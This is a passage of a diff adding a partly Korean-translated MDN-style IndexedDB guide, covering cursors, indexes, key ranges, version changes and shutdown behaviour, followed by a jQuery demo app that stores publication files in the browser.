+request.onerror = function(event) {
+ // Handle errors!
+};
+request.onsuccess = function(event) {
+ // Get the old value that we want to update
+ var data = event.target.result;
+
+ // update the value(s) in the object that you want to change
+ data.age = 42;
+
+ // Put this updated object back into the database.
+ var requestUpdate = objectStore.put(data);
+ requestUpdate.onerror = function(event) {
+ // Do something with the error
+ };
+ requestUpdate.onsuccess = function(event) {
+ // Success - the data is updated!
+ };
+};</code></pre>
+
+<p>이제 우리는 <code>objectStore</code>를 만들고 사회보장번호(SSN)가 (<code>444-44-4444</code>)인 고객 레코드를 요청했습니다. 그리고 우리는 그 결과를 변수(<code>data</code>)에 넣고, 이 객체의 <code>age</code> 속성을 업데이트하여, 두 번째 요청(<code>requestUpdate</code>)을 만들어 고객 레코드를 다시 <code>objectStore</code>에 집어넣어 이전 값을 덮어썼습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 때 우리는 <code>readwrite</code> 모드를 사용해야 합니다. 우리가 지금 한 것은 단순히 데이터를 읽어오는 게 아니라, 다시 쓰는 것이기 때문입니다.</p>
+</div>
+
+<h3 id="Using_a_cursor">Using a cursor</h3>
+
+<p>Using <code>get()</code> requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:</p>
+
+<pre class="brush: js notranslate">var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+ cursor.continue();
+ }
+ else {
+ alert("No more entries!");
+ }
+};</pre>
+
+<p>The<code> openCursor()</code> function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the <code>result</code> of the request (above we're using the shorthand, so it's <code>event.target.result</code>). Then the actual key and value can be found on the <code>key</code> and <code>value</code> properties of the cursor object. If you want to keep going, then you have to call <code>continue()</code> on the cursor. When you've reached the end of the data (or if there were no entries that matched your <code>openCursor()</code> request) you still get a success callback, but the <code>result</code> property is <code>undefined</code>.</p>
+
+<p>One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:</p>
+
+<pre class="brush: js notranslate">var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ customers.push(cursor.value);
+ cursor.continue();
+ }
+ else {
+ alert("Got all customers: " + customers);
+ }
+};</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Mozilla has also implemented <code>getAll()</code> to handle this case (and <code>getAllKeys()</code>, which is currently hidden behind the <code>dom.indexedDB.experimental</code> preference in about:config). These aren't part of the IndexedDB standard, so they may disappear in the future. We've included them because we think they're useful. The following code does precisely the same thing as above:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.getAll().onsuccess = function(event) {
+ alert("Got all customers: " + event.target.result);
+};</code></pre>
+
+<p>There is a performance cost associated with looking at the <code>value</code> property of a cursor, because the object is created lazily. When you use <code>getAll()</code> for example, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use <code>getAll()</code>. If you're trying to get an array of all the objects in an object store, though, use <code>getAll()</code>.</p>
+</div>
+
+<h3 id="Using_an_index">Using an index</h3>
+
+<p>Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.</p>
+
+<pre class="brush: js notranslate"><code>// First, make sure you created index in request.onupgradeneeded:
+// objectStore.createIndex("name", "name");
+// Otherwize you will get DOMException.
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+ alert("Donna's SSN is " + event.target.result.ssn);
+};</code></pre>
+
+<p>The "name" cursor isn't unique, so there could be more than one entry with the <code>name</code> set to <code>"Donna"</code>. In that case you always get the one with the lowest key value.</p>
+
+<p>If you need to access all the entries with a given <code>name</code> you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:</p>
+
+<pre class="brush: js notranslate"><code>// Using a normal cursor to grab whole customer record objects
+index.openCursor().onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+ alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+ cursor.continue();
+ }
+};
+
+// Using a key cursor to grab customer record object keys
+index.openKeyCursor().onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+ // No way to directly get the rest of the stored object.
+ alert("Name: " + cursor.key + ", SSN: " + cursor.primaryKey);
+ cursor.continue();
+ }
+};</code></pre>
+
+<h3 id="Specifying_the_range_and_direction_of_cursors">Specifying the range and direction of cursors</h3>
+
+<p>If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to <code>openCursor()</code> or <code>openKeyCursor()</code>. You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:</p>
+
+<pre class="brush: js notranslate"><code>// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// To use one of the key ranges, pass it in as the first argument of openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // Do something with the matches.
+ cursor.continue();
+ }
+};</code></pre>
+
+<p>Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing <code>prev</code> to the <code>openCursor()</code> function:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // Do something with the entries.
+ cursor.continue();
+ }
+};</code></pre>
+
+<p>If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:</p>
+
+<pre class="brush: js notranslate"><code>objectStore.openCursor(null, "prev").onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // Do something with the entries.
+ cursor.continue();
+ }
+};</code></pre>
+
+<p>Since the "name" index isn't unique, there might be multiple entries where <code>name</code> is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass <code>nextunique</code> (or <code>prevunique</code> if you're going backwards) as the direction parameter. When <code>nextunique</code> or <code>prevunique</code> is used, the entry with the lowest key is always the one returned.</p>
+
+<pre class="brush: js notranslate"><code>index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+ var cursor = event.target.result;
+ if (cursor) {
+ // Do something with the entries.
+ cursor.continue();
+ }
+};</code></pre>
+
+<p>Please see "<a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBCursor?redirectlocale=en-US&amp;redirectslug=IndexedDB%2FIDBCursor#Constants">IDBCursor Constants</a>" for the valid direction arguments.</p>
+
+<h2 id="Version_changes_while_a_web_app_is_open_in_another_tab">Version changes while a web app is open in another tab</h2>
+
+<p>When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call <code>open()</code> with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:</p>
+
+<pre class="brush: js notranslate">var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+ // If some other tab is loaded with the database, then it needs to be closed
+ // before we can proceed.
+ alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+ // All other databases have been closed. Set everything up.
+ db.createObjectStore(/* ... */);
+ useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+ var db = event.target.result;
+ useDatabase(db);
+ return;
+}
+
+function useDatabase(db) {
+ // Make sure to add a handler to be notified if another page requests a version
+ // change. We must close the database. This allows the other page to upgrade the database.
+ // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+ db.close();
+ alert("A new version of this page is ready. Please reload!");
+ };
+
+ // Do stuff with the database.
+}
+</pre>
+
+<p>You should also listen for <code>VersionError</code> errors to handle the situation where already opened apps may initiate code leading to a new attempt to open the database, but using an outdated version.</p>
+
+<h2 id="Security">Security</h2>
+
+<p>IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.</p>
+
+<p>Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</p>
+
+<h2 id="Warning_about_browser_shutdown">Warning about browser shutdown</h2>
+
+<p>When the browser shuts down (because the user chose the Quit or Exit option), the disk containing the database is removed unexpectedly, or permissions are lost to the database store, the following things happen:</p>
+
+<ol>
+ <li>Each transaction on every affected database (or all open databases, in the case of browser shutdown) is aborted with an <code>AbortError</code>. The effect is the same as if {{domxref("IDBTransaction.abort()")}} is called on each transaction.</li>
+ <li>Once all of the transactions have completed, the database connection is closed.</li>
+ <li>Finally, the {{domxref("IDBDatabase")}} object representing the database connection receives a {{event("close")}} event. You can use the {{domxref("IDBDatabase.onclose")}} event handler to listen for these events, so that you know when a database is unexpectedly closed.</li>
+</ol>
+
+<p>The behavior described above is new, and is only available as of the following browser releases: Firefox 50, Google Chrome 31 (approximately).</p>
+
+<p>Prior to these browser versions, the transactions are aborted silently, and no {{event("close")}} event is fired, so there is no way to detect an unexpected database closure.</p>
+
+<p>Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete, and on older browsers, you don't even get told when they don't complete. There are several implications of this behavior.</p>
+
+<p>First, you should take care to always leave your database in a consistent state at the end of every transaction. For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit. You save the list after the edit by clearing the object store and then writing out the new list. If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database. To avoid this, you should combine the clear and the write into a single transaction. </p>
+
+<p>Second, you should never tie database transactions to unload events. If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete. An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes. However, this will not work. The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.</p>
+
+<p>In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown. See {{ bug(870645) }}. As a workaround for this normal shutdown notification, you might track your transactions and add a <code>beforeunload</code> event to warn the user if any transactions have not yet completed at the time of unloading.</p>
+
+<p>At least with the addition of the abort notifications and {{domxref("IDBDatabase.onclose")}}, you can know when this has happened.</p>
+
+<h2 id="Locale-aware_sorting">Locale-aware sorting</h2>
+
+<p>Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn’t handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:</p>
+
+<ul>
+ <li>a</li>
+ <li>b</li>
+ <li>z</li>
+ <li>á</li>
+</ul>
+
+<p>which is obviously not how users want their data to be sorted — Aaron and Áaron for example should go next to one another in a contacts list. Achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side JavaScript, which is not very efficient.</p>
+
+<p>This new functionality enables developers to specify a locale when creating an index using {{domxref("IDBObjectStore.createIndex()")}} (check out its parameters.) In such cases, when a cursor is then used to iterate through the dataset, and you want to specify locale-aware sorting, you can use a specialized {{domxref("IDBLocaleAwareKeyRange")}}.</p>
+
+<p>{{domxref("IDBIndex")}} has also had new properties added to it to specify if it has a locale specified, and what it is: <code>locale</code> (returns the locale if any, or null if none is specified) and <code>isAutoLocale</code> (returns <code>true</code> if the index was created with an auto locale, meaning that the platform's default locale is used, <code>false</code> otherwise.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: This feature is currently hidden behind a flag — to enable it and experiment, go to <a>about:config</a> and enable <code>dom.indexedDB.experimental</code>.</p>
+</div>
+
+<h2 id="Full_IndexedDB_example" name="Full_IndexedDB_example">Full IndexedDB example</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html notranslate"><code>&lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"&gt;&lt;/script&gt;
+
+ &lt;h1&gt;IndexedDB Demo: storing blobs, e-publication example&lt;/h1&gt;
+ &lt;div class="note"&gt;
+ &lt;p&gt;
+ Works and tested with:
+ &lt;/p&gt;
+ &lt;div id="compat"&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+ &lt;div id="msg"&gt;
+ &lt;/div&gt;
+
+ &lt;form id="register-form"&gt;
+ &lt;table&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-title" class="required"&gt;
+ Title:
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="text" id="pub-title" name="pub-title" /&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-biblioid" class="required"&gt;
+ Bibliographic ID:&lt;br/&gt;
+ &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="text" id="pub-biblioid" name="pub-biblioid"/&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-year"&gt;
+ Year:
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="number" id="pub-year" name="pub-year" /&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-file"&gt;
+ File image:
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="file" id="pub-file"/&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-file-url"&gt;
+ Online-file image URL:&lt;br/&gt;
+ &lt;span class="note"&gt;(same origin URL)&lt;/span&gt;
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="text" id="pub-file-url" name="pub-file-url"/&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;/table&gt;
+
+ &lt;div class="button-pane"&gt;
+ &lt;input type="button" id="add-button" value="Add Publication" /&gt;
+ &lt;input type="reset" id="register-form-reset"/&gt;
+ &lt;/div&gt;
+ &lt;/form&gt;
+
+ &lt;form id="delete-form"&gt;
+ &lt;table&gt;
+ &lt;tbody&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="pub-biblioid-to-delete"&gt;
+ Bibliographic ID:&lt;br/&gt;
+ &lt;span class="note"&gt;(ISBN, ISSN, etc.)&lt;/span&gt;
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="text" id="pub-biblioid-to-delete"
+ name="pub-biblioid-to-delete" /&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;label for="key-to-delete"&gt;
+ Key:&lt;br/&gt;
+ &lt;span class="note"&gt;(for example 1, 2, 3, etc.)&lt;/span&gt;
+ &lt;/label&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;input type="text" id="key-to-delete"
+ name="key-to-delete" /&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;/tbody&gt;
+ &lt;/table&gt;
+ &lt;div class="button-pane"&gt;
+ &lt;input type="button" id="delete-button" value="Delete Publication" /&gt;
+ &lt;input type="button" id="clear-store-button"
+ value="Clear the whole store" class="destructive" /&gt;
+ &lt;/div&gt;
+ &lt;/form&gt;
+
+ &lt;form id="search-form"&gt;
+ &lt;div class="button-pane"&gt;
+ &lt;input type="button" id="search-list-button"
+ value="List database content" /&gt;
+ &lt;/div&gt;
+ &lt;/form&gt;
+
+ &lt;div&gt;
+ &lt;div id="pub-msg"&gt;
+ &lt;/div&gt;
+ &lt;div id="pub-viewer"&gt;
+ &lt;/div&gt;
+ &lt;ul id="pub-list"&gt;
+ &lt;/ul&gt;
+ &lt;/div&gt;</code></pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css notranslate"><code>body {
+ font-size: 0.8em;
+ font-family: Sans-Serif;
+}
+
+form {
+ background-color: #cccccc;
+ border-radius: 0.3em;
+ display: inline-block;
+ margin-bottom: 0.5em;
+ padding: 1em;
+}
+
+table {
+ border-collapse: collapse;
+}
+
+input {
+ padding: 0.3em;
+ border-color: #cccccc;
+ border-radius: 0.3em;
+}
+
+.required:after {
+ content: "*";
+ color: red;
+}
+
+.button-pane {
+ margin-top: 1em;
+}
+
+#pub-viewer {
+ float: right;
+ width: 48%;
+ height: 20em;
+ border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+ width: 100%;
+ height: 100%;
+}
+
+#pub-list {
+ width: 46%;
+ background-color: #eeeeee;
+ border-radius: 0.3em;
+}
+#pub-list li {
+ padding-top: 0.5em;
+ padding-bottom: 0.5em;
+ padding-right: 0.5em;
+}
+
+#msg {
+ margin-bottom: 1em;
+}
+
+.action-success {
+ padding: 0.5em;
+ color: #00d21e;
+ background-color: #eeeeee;
+ border-radius: 0.2em;
+}
+
+.action-failure {
+ padding: 0.5em;
+ color: #ff1408;
+ background-color: #eeeeee;
+ border-radius: 0.2em;
+}
+
+.note {
+ font-size: smaller;
+}
+
+.destructive {
+ background-color: orange;
+}
+.destructive:hover {
+ background-color: #ff8000;
+}
+.destructive:active {
+ background-color: red;
+}</code></pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js notranslate"><code>(function () {
+ var COMPAT_ENVS = [
+ ['Firefox', "&gt;= 16.0"],
+ ['Google Chrome',
+ "&gt;= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+ ];
+ var compat = $('#compat');
+ compat.empty();
+ compat.append('&lt;ul id="compat-list"&gt;&lt;/ul&gt;');
+ COMPAT_ENVS.forEach(function(val, idx, array) {
+ $('#compat-list').append('&lt;li&gt;' + val[0] + ': ' + val[1] + '&lt;/li&gt;');
+ });
+
+ const DB_NAME = 'mdn-demo-indexeddb-epublications';
+ const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+ const DB_STORE_NAME = 'publications';
+
+ var db;
+
+ // Used to keep track of which view is displayed to avoid uselessly reloading it
+ var current_view_pub_key;
+
+ function openDb() {
+ console.log("openDb ...");
+ var req = indexedDB.open(DB_NAME, DB_VERSION);
+ req.onsuccess = function (evt) {
+ // Better use "this" than "req" to get the result to avoid problems with
+ // garbage collection.
+ // db = req.result;
+ db = this.result;
+ console.log("openDb DONE");
+ };
+ req.onerror = function (evt) {
+ console.error("openDb:", evt.target.errorCode);
+ };
+
+ req.onupgradeneeded = function (evt) {
+ console.log("openDb.onupgradeneeded");
+ var store = evt.currentTarget.result.createObjectStore(
+ DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+ store.createIndex('biblioid', 'biblioid', { unique: true });
+ store.createIndex('title', 'title', { unique: false });
+ store.createIndex('year', 'year', { unique: false });
+ };
+ }
+
+ /**
+ * @param {string} store_name
+ * @param {string} mode either "readonly" or "readwrite"
+ */
+ function getObjectStore(store_name, mode) {
+ var tx = db.transaction(store_name, mode);
+ return tx.objectStore(store_name);
+ }
+
+ function clearObjectStore(store_name) {
+ var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+ var req = store.clear();
+ req.onsuccess = function(evt) {
+ displayActionSuccess("Store cleared");
+ displayPubList(store);
+ };
+ req.onerror = function (evt) {
+ console.error("clearObjectStore:", evt.target.errorCode);
+ displayActionFailure(this.error);
+ };
+ }
+
+ function getBlob(key, store, success_callback) {
+ var req = store.get(key);
+ req.onsuccess = function(evt) {
+ var value = evt.target.result;
+ if (value)
+ success_callback(value.blob);
+ };
+ }
+
+ /**
+ * @param {IDBObjectStore=} store
+ */
+ function displayPubList(store) {
+ console.log("displayPubList");
+
+ if (typeof store == 'undefined')
+ store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+ var pub_msg = $('#pub-msg');
+ pub_msg.empty();
+ var pub_list = $('#pub-list');
+ pub_list.empty();
+ // Resetting the iframe so that it doesn't display previous content
+ newViewerFrame();
+
+ var req;
+ req = store.count();
+ // Requests are executed in the order in which they were made against the
+ // transaction, and their results are returned in the same order.
+ // Thus the count text below will be displayed before the actual pub list
+ // (not that it is algorithmically important in this case).
+ req.onsuccess = function(evt) {
+ pub_msg.append('&lt;p&gt;There are &lt;strong&gt;' + evt.target.result +
+ '&lt;/strong&gt; record(s) in the object store.&lt;/p&gt;');
+ };
+ req.onerror = function(evt) {
+ console.error("add error", this.error);
+ displayActionFailure(this.error);
+ };
+
+ var i = 0;
+ req = store.openCursor();
+ req.onsuccess = function(evt) {
+ var cursor = evt.target.result;
+
+ // If the cursor is pointing at something, ask for the data
+ if (cursor) {
+ console.log("displayPubList cursor:", cursor);
+ req = store.get(cursor.key);
+ req.onsuccess = function (evt) {
+ var value = evt.target.result;
+ var list_item = $('&lt;li&gt;' +
+ '[' + cursor.key + '] ' +
+ '(biblioid: ' + value.biblioid + ') ' +
+ value.title +
+ '&lt;/li&gt;');
+ if (value.year != null)
+ list_item.append(' - ' + value.year);
+
+ if (value.hasOwnProperty('blob') &amp;&amp;
+ typeof value.blob != 'undefined') {
+ var link = $('&lt;a href="' + cursor.key + '"&gt;File&lt;/a&gt;');
+ link.on('click', function() { return false; });
+ link.on('mouseenter', function(evt) {
+ setInViewer(evt.target.getAttribute('href')); });
+ list_item.append(' / ');
+ list_item.append(link);
+ } else {
+ list_item.append(" / No attached file");
+ }
+ pub_list.append(list_item);
+ };
+
+ // Move on to the next object in store
+ cursor.continue();
+
+ // This counter serves only to create distinct ids
+ i++;
+ } else {
+ console.log("No more entries");
+ }
+ };
+ }
+
+ function newViewerFrame() {
+ var viewer = $('#pub-viewer');
+ viewer.empty();
+ var iframe = $('&lt;iframe /&gt;');
+ viewer.append(iframe);
+ return iframe;
+ }
+
+ function setInViewer(key) {
+ console.log("setInViewer:", arguments);
+ key = Number(key);
+ if (key == current_view_pub_key)
+ return;
+
+ current_view_pub_key = key;
+
+ var store = getObjectStore(DB_STORE_NAME, 'readonly');
+ getBlob(key, store, function(blob) {
+ console.log("setInViewer blob:", blob);
+ var iframe = newViewerFrame();
+
+ // It is not possible to set a direct link to the
+ // blob to provide a mean to directly download it.
+ if (blob.type == 'text/html') {
+ var reader = new FileReader();
+ reader.onload = (function(evt) {
+ var html = evt.target.result;
+ iframe.load(function() {
+ $(this).contents().find('html').html(html);
+ });
+ });
+ reader.readAsText(blob);
+ } else if (blob.type.indexOf('image/') == 0) {
+ iframe.load(function() {
+ var img_id = 'image-' + key;
+ var img = $('&lt;img id="' + img_id + '"/&gt;');
+ $(this).contents().find('body').html(img);
+ var obj_url = window.URL.createObjectURL(blob);
+ $(this).contents().find('#' + img_id).attr('src', obj_url);
+ window.URL.revokeObjectURL(obj_url);
+ });
+ } else if (blob.type == 'application/pdf') {
+ $('*').css('cursor', 'wait');
+ var obj_url = window.URL.createObjectURL(blob);
+ iframe.load(function() {
+ $('*').css('cursor', 'auto');
+ });
+ iframe.attr('src', obj_url);
+ window.URL.revokeObjectURL(obj_url);
+ } else {
+ iframe.load(function() {
+ $(this).contents().find('body').html("No view available");
+ });
+ }
+
+ });
+ }
+
+ /**
+ * @param {string} biblioid
+ * @param {string} title
+ * @param {number} year
+ * @param {string} url the URL of the image to download and store in the local
+ * IndexedDB database. The resource behind this URL is subjected to the
+ * "Same origin policy", thus for this method to work, the URL must come from
+ * the same origin as the web site/app this code is deployed on.
+ */
+ function addPublicationFromUrl(biblioid, title, year, url) {
+ console.log("addPublicationFromUrl:", arguments);
+
+ var xhr = new XMLHttpRequest();
+ xhr.open('GET', url, true);
+ // Setting the wanted responseType to "blob"
+ // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+ xhr.responseType = 'blob';
+ xhr.onload = function (evt) {
+ if (xhr.status == 200) {
+ console.log("Blob retrieved");
+ var blob = xhr.response;
+ console.log("Blob:", blob);
+ addPublication(biblioid, title, year, blob);
+ } else {
+ console.error("addPublicationFromUrl error:",
+ xhr.responseText, xhr.status);
+ }
+ };
+ xhr.send();
+
+ // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+ // responseType is not handled.
+ // http://bugs.jquery.com/ticket/11461
+ // http://bugs.jquery.com/ticket/7248
+ // $.ajax({
+ // url: url,
+ // type: 'GET',
+ // xhrFields: { responseType: 'blob' },
+ // success: function(data, textStatus, jqXHR) {
+ // console.log("Blob retrieved");
+ // console.log("Blob:", data);
+ // // addPublication(biblioid, title, year, data);
+ // },
+ // error: function(jqXHR, textStatus, errorThrown) {
+ // console.error(errorThrown);
+ // displayActionFailure("Error during blob retrieval");
+ // }
+ // });
+ }
+
+ /**
+ * @param {string} biblioid
+ * @param {string} title
+ * @param {number} year
+ * @param {Blob=} blob
+ */
+ function addPublication(biblioid, title, year, blob) {
+ console.log("addPublication arguments:", arguments);
+ var obj = { biblioid: biblioid, title: title, year: year };
+ if (typeof blob != 'undefined')
+ obj.blob = blob;
+
+ var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+ var req;
+ try {
+ req = store.add(obj);
+ } catch (e) {
+ if (e.name == 'DataCloneError')
+ displayActionFailure("This engine doesn't know how to clone a Blob, " +
+ "use Firefox");
+ throw e;
+ }
+ req.onsuccess = function (evt) {
+ console.log("Insertion in DB successful");
+ displayActionSuccess();
+ displayPubList(store);
+ };
+ req.onerror = function() {
+ console.error("addPublication error", this.error);
+ displayActionFailure(this.error);
+ };
+ }
+
+ /**
+ * @param {string} biblioid
+ */
+ function deletePublicationFromBib(biblioid) {
+ console.log("deletePublication:", arguments);
+ var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+ var req = store.index('biblioid');
+ req.get(biblioid).onsuccess = function(evt) {
+ if (typeof evt.target.result == 'undefined') {
+ displayActionFailure("No matching record found");
+ return;
+ }
+ deletePublication(evt.target.result.id, store);
+ };
+ req.onerror = function (evt) {
+ console.error("deletePublicationFromBib:", evt.target.errorCode);
+ };
+ }
+
+ /**
+ * @param {number} key
+ * @param {IDBObjectStore=} store
+ */
+ function deletePublication(key, store) {
+ console.log("deletePublication:", arguments);
+
+ if (typeof store == 'undefined')
+ store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+ // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+ // the result of the Object Store Deletion Operation algorithm is
+ // undefined, so it's not possible to know if some records were actually
+ // deleted by looking at the request result.
+ var req = store.get(key);
+ req.onsuccess = function(evt) {
+ var record = evt.target.result;
+ console.log("record:", record);
+ if (typeof record == 'undefined') {
+ displayActionFailure("No matching record found");
+ return;
+ }
+ // Warning: The exact same key used for creation needs to be passed for
+ // the deletion. If the key was a Number for creation, then it needs to
+ // be a Number for deletion.
+ req = store.delete(key);
+ req.onsuccess = function(evt) {
+ console.log("evt:", evt);
+ console.log("evt.target:", evt.target);
+ console.log("evt.target.result:", evt.target.result);
+ console.log("delete successful");
+ displayActionSuccess("Deletion successful");
+ displayPubList(store);
+ };
+ req.onerror = function (evt) {
+ console.error("deletePublication:", evt.target.errorCode);
+ };
+ };
+ req.onerror = function (evt) {
+ console.error("deletePublication:", evt.target.errorCode);
+ };
+ }
+
+ function displayActionSuccess(msg) {
+ msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+ $('#msg').html('&lt;span class="action-success"&gt;' + msg + '&lt;/span&gt;');
+ }
+ function displayActionFailure(msg) {
+ msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+ $('#msg').html('&lt;span class="action-failure"&gt;' + msg + '&lt;/span&gt;');
+ }
+ function resetActionStatus() {
+ console.log("resetActionStatus ...");
+ $('#msg').empty();
+ console.log("resetActionStatus DONE");
+ }
+
+ function addEventListeners() {
+ console.log("addEventListeners");
+
+ $('#register-form-reset').click(function(evt) {
+ resetActionStatus();
+ });
+
+ $('#add-button').click(function(evt) {
+ console.log("add ...");
+ var title = $('#pub-title').val();
+ var biblioid = $('#pub-biblioid').val();
+ if (!title || !biblioid) {
+ displayActionFailure("Required field(s) missing");
+ return;
+ }
+ var year = $('#pub-year').val();
+ if (year != '') {
+ // Better use Number.isInteger if the engine has EcmaScript 6
+ if (isNaN(year)) {
+ displayActionFailure("Invalid year");
+ return;
+ }
+ year = Number(year);
+ } else {
+ year = null;
+ }
+
+ var file_input = $('#pub-file');
+ var selected_file = file_input.get(0).files[0];
